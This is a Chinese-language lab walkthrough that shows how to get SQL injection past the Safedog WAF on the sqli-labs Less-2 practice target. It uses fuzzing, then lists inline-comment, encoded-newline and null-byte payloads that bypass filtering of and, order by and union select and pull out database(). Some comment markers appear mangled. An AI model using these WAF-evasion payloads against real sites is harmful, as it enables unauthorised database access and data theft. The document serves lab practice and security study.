我们这里使用sql-lab-matser 靶机,用安全狗 waf 进行一个sql 注入的一个绕过。
    我们在第二关进行一个绕过,使用 and 1=1 发现被安全狗拦截
    image.jpeg
    绕waf的思路,更重要的是要学会如何去FUZZ,去进行一个模糊的测试,去判断WAF 拦截的位置在哪里,判断出来之后用一些手段进行绕过。
    我们输入 and 发现没有被拦截,我们继续进行下一步的探测
    image.jpeg
    我们输入 and 1 被拦截,于是判断出来WAF 检测的位置 就是在 and 1 之间
    image.jpeg
    我们开始进行一个绕过,尝试注释掉 and 和 1 之间的空格,发现不行,采用内联注释来进行一个绕过
    http://192.168.243.206/sqli-labs-master/Less-2/?id=1 /!50001and////!1=1/ 或者 /!50001and/ /!1=1/
    image.jpeg
    使用 true 和flase 来进行判断存在注入和绕过,我们使用了特殊字符进行一个干扰
    http://192.168.243.206/sqli-labs-master/Less-2/?id=1 /!50001and//
    //!%23%0Atrue/ —+
    image.jpeg
    http://192.168.243.206/sqli-labs-master/Less-2/?id=1 /!50001and////!%23%0Afalse/ —+
    image.jpeg
    接下来使用order by 对字段进行一个探测,发现 order by 也被拦截,进行一个绕过
    http://192.168.243.206/sqli-labs-master/Less-2/?id=1 order/
    //!%23%0Aby/ 3
    image.jpeg
    使用union 联合查询进行一个注入,union 和 select 匹配到,立马被拦截
    image.jpeg
    http://192.168.243.206/sqli-labs-master/Less-2/?id=-1 union/%00/%23aaa%0A/!/!select 1,2,3/ —+
    image.jpeg
    http://192.168.243.206/sqli-labs-master/Less-2/?id=-1 union/
    %00/%23aaa%0a/!/!select 1,database%23x%0A(),3/;%23
    image.jpeg
    http://192.168.243.206/sqli-labs-master/Less-2/?id=-1+union+/!44509select/+1,2,3
    http://192.168.243.206/sqli-labs-master/Less-2/?id=-1+union+/!44509select/+1,%23x%0A/!database/(),3,3) #
    id=-1 %20union%20all%23%0a%20select%201,2,3%23
    -1 %20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23